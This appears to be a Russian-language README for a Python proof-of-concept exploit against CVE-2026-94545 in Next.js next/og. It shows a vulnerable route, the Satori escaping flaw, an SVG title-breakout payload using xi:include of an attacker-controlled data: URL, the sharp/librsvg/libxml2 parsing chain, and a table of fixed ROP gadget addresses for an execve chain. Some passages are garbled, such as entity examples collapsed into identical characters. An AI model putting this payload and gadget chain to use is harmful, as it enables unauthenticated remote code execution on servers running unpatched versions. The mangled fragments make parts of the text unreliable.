
Python PoC для CVE-2026-94545: эксплуатирует неэкранированный SVG-ввод в Next.js next/og, вызывая повреждение libxml2 и ROP-цепочку для неаутентифицированного RCE.
next/og Next.jsТолько для исследований в области безопасности, в авторизованных уязвимых средах.
| Пункт | Значение |
|---|---|
| CVE | CVE-2026-94545 / GHSA-vcvr-r3jv-pc5j |
| Вышестоящий компонент | Satori GHSA-wx4j-mvgx-mqwp |
| Первопричина | CWE-116 (Некорректное кодирование или экранирование вывода) → повреждение памяти нативного XML-парсера → RCE |
| Затронуто | Next.js 16.2.0 – 16.3.5 (среда выполнения Node с установленным sharp); встроенный Satori ≥ 0.0.27 и < 0.33.5 |
| Исправлено | Next.js 16.3.6 / Satori 0.33.5 |
| Воздействие | Выполнение произвольных команд в процессе сервиса Next.js без аутентификации |
| Протестированный стек | Next.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3) + официальный x64-бинарник Node.js v24.20.0 (non-PIE) |
При использовании среды выполнения Edge (export const runtime = 'edge') или если sharp не установлен, рендеринг проходит через песочницу resvg-wasm, поэтому данная уязвимость не достигает цепочки нативного парсинга и, следовательно, не приводит к RCE.
Пользовательский ввод конкатенируется в SVG как обычный текст, после чего этот SVG целиком помещается в data: URL и передаётся XML-парсеру на языке C для второго раунда парсинга. Между этими этапами выполняется только URL-кодирование; экранирование XML никогда не производится.
Типичный шаблон: POST /api/og помещает всё тело запроса, или GET /api/og?value= помещает параметр запроса, непосредственно в SVG <title> элемента ImageResponse, без фильтрации или экранирования.
import { ImageResponse } from 'next/og'
export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'
async function render(request) {
const url = new URL(request.url)
const value = request.method === 'POST'
? await request.text()
: (url.searchParams.get('value') ?? '')
return new ImageResponse(
<svg width="1200" height="630"><title>{value}</title></svg>,
{ width: 1200, height: 630 }
)
}
export const GET = render
export const POST = render
ImageResponse получает дерево элементов JSX и возвращает PNG. Любой маршрут, который записывает данные запроса в дочерние узлы / атрибуты / стили SVG, является точкой внедрения (sink).
next/ognode_modules/next/og.js перенаправляет на next/dist/server/og/image-response.js. Среда выполнения Node динамически загружает next/dist/compiled/@vercel/og/index.node.js (нативный путь); среда выполнения Edge загружает путь wasm и не подвержена этой уязвимости.
@vercel/og — Satori генерирует SVG, а затем передаёт его на растеризациюПоток встроенного в Next.js @vercel/og (комментарии в скомпилированном артефакте подтверждают, что он содержит [email protected]), выглядит так:
sharp, передать SVG нативной библиотеке для растеризации; в противном случае использовать resvg-wasm.const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}
На этом этапе пользовательский ввод уже стал строкой SVG и передаётся дословно в sharp (нативный libvips).
Для <svg>, явно написанного в JSX, Satori сериализует его целиком в URL data:image/svg+xml, а затем встраивает в вывод как <image>.
vercel/[email protected] src/layout.ts: вызывает SVGNodeToImage при входе в узел <svg>.
src/handler/preprocess.ts содержит два ключевых изъяна:
const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g // Only used for URI percent-encoding
export function translateSVGNodeToSVGString(node, inheritedColor) {
if (typeof node !== 'object') return String(node) // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}
export async function SVGNodeToImage(element, inheritedColor) {
return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
// Flaw 2: only URI percent-encoding is performed, not XML escaping
}
&, < и > не записываются как & / < / >. Процентное кодирование — это лишь требование синтаксиса URL; когда нижестоящий парсер загружает URL data:, %3C/title%3E восстанавливается в настоящий </title>, и текст атакующего переходит из «данных» обратно в «структуру документа».
Когда входные данные имеют вид </title><xi:include …/><title>, промежуточный SVG, передаваемый Satori в sharp, принимает следующую форму (декодировано для наглядности):
<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
<image x="0" y="0" width="1200" height="630"
href="data:image/svg+xml;utf8,...<title></title><xi:include
xmlns:xi='http://www.w3.org/2001/XInclude'
href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>
sharp(SVG buffer)
→ libvips vips_foreign_load_svg_buffer()
→ librsvg rsvg_handle_new_from_stream_with_flags()
├─ Parses the outer SVG
├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
└─ XML parsing is delegated to libxml2
→ libxml2 xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc
Полезная нагрузка использует два уровня инъекции для управления структурой ввода libxml2:
</title><xi:include parse="xml" href="data:…"> заставляет парсер перейти к загрузке вложенного документа, полностью контролируемого атакующим.Внутреннее состояние libxml2 выводится за пределы ожидаемого, что приводит к записи за границы. Эффект повреждения надёжно достигается с помощью тщательно организованных последовательностей координат SVG <path> (IEEE-754 doubles, несущие 8-байтовые little-endian слова), тем самым перехватывая поток управления.
execveОфициально выпущенный бинарник Node.js linux-x64 является non-PIE исполняемым файлом с фиксированной базой загрузки; адреса PLT / GOT и гаджетов постоянны, поэтому утечка информации не требуется.
Этот PoC собран для Node.js v24.20.0 official x64; гаджеты следующие:
| Символ | Адрес | Назначение |
|---|---|---|
POP_RDI | 0xA1EAED | pop rdi ; ret |
POP_RAX | 0x7F38D4 | pop rax ; ret |
POP_RSI | 0x95823D | pop rsi ; ret |
POP_RDX | 0x776758 | pop rdx ; ret |
STOSQ_RET | 0xD16725 | stosq ; ret (записывает в scratch-область по qword) |
EXECVE_PLT | 0x745FA0 | PLT-заглушка execve |
SCRATCH | 0x6B5F500 | Фиксированный адрес для записи |